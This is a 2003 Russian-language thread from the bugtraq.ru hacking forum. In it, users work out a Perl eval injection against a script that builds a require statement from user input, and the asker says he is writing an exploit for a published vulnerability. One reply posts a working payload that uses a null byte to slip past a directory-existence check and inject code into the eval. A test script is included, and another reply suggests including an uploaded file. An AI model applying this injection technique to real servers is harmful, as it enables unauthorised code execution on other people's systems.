информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
За кого нас держат?Где водятся OGRы
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
 Умер Никлаус Вирт 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / hacking
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Знатоки перла Help!!! - Perl injection. 02.05.03 22:32  
Автор: fuckyoudude Статус: Незарегистрированный пользователь
Отредактировано 02.05.03 22:33  Количество правок: 2
<"чистая" ссылка>
есть скрипт на перле, что-то вроде:

$some_file = 'filename';

$mydir =~ s/^([\d\w]+)$/$1/; #<= провекра №1 , имхо оно ничего не проверяет)
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;

Проблема в следующем, нужно так сформировать $mydir, чтобы обойти проверки 1 и 2 (помоему только 2), и втиснуть system(); в переменную $code, ну и потом собсно еval ее :)
обойти проверки на наличии директории я смог обойти с помощью вставки точки и нулевого символа (%2e%00), но не могу правильно вставить выражение в $code.

Жду Ваших предложений.

Заработало!!! 06.05.03 18:10  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
вот что у меня заработало:

.%00" if (1==0) ; print "bbb\n";#

печатает bbb
Проверял на таком скрипте:

;---------------Begin clipboard---------------------------------------------
#!perl -n
$some_file = 'filename';
$mydir=$_ ;
$mydir =~ s/^([\d\w]+)$/$1/; #<= провекра №1 , имхо оно ничего не проверяет)
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;
print $@ ; #это для дебага :)
;---------------End clipboard---------------------------------------------
версия перла: v5.6.0 built for MSWin32-x86-multi-thread
Круто :) спасибо!!! можно посылать эксплоит на www.securityfocus.com :-) 06.05.03 21:09  
Автор: fuckyoudude Статус: Незарегистрированный пользователь
<"чистая" ссылка>
Знатоки перла Help!!! - Perl injection. 04.05.03 12:22  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> Жду Ваших предложений.
>

я попробовал такую штуку:
.%00;print aaa;
Не проходит - как только он не находит то что хочет require - он тут же прекращает eval.
А что если? 04.05.03 12:27  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
просто закачать свой скрипт на сервак и прямо в require его подсунуть.
А что если? 04.05.03 22:36  
Автор: fuckyoudude Статус: Незарегистрированный пользователь
Отредактировано 04.05.03 22:43  Количество правок: 2
<"чистая" ссылка>
> просто закачать свой скрипт на сервак и прямо в require его
> подсунуть.
а тест на наличие директории?
unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

дело в том, что я знаю расположение скрипта, который подключается,
т.е. получается вроде того , что мы вводим имя директории, а скрипт уже сам из нее нужный ему файл подключает,вся проблема как раз в проверке на наличие директории, мы ее обходим, и у нас не работает require, а сл. и код далее в eval

unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2
$code = 'require '. "\"$mydir/" .$some_file. '.pm"; ';
eval $code;

Надо сделать что бы и проверка прошла и require нашел свой файл .
Вроде как это возможно :)

PS> если это поможет,
я пытаюсь написать эксплоит для этого
http://www.securityfocus.com/bid/7361
А что если? 05.05.03 16:53  
Автор: NKritsky <Nickolay A. Kritsky> Статус: Elderman
<"чистая" ссылка>
> > просто закачать свой скрипт на сервак и прямо в
> require его
> > подсунуть.
> а тест на наличие директории?
> unless (-d "$mydir") { $mydir = 'en';} #<= провекра №2

Поясняю что я имел в виду:
если у тебя есть возможность создать файл на данном серваке, с заданным именем, например /tmp/111/filename
то ты можешь передать '/tmp/111' в качестве $mydir и он просто инклюднет твой файл, выполняя все комманды в нем прописанные. Но для этого надо иметь права создавать такие файлы.

> Надо сделать что бы и проверка прошла и require нашел свой
> файл .
> Вроде как это возможно :)

Пока я не вижу такой возможности. Проверку -d можно обойти при помощи %00, но это обрубит работу require т.к. там вызывается creat() который тоже обрубается на нульбайте.

> PS> если это поможет,
> я пытаюсь написать эксплоит для этого
> http://www.securityfocus.com/bid/7361

ща, посмотрим :) пиши если что на мой_ник@mail.ru
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach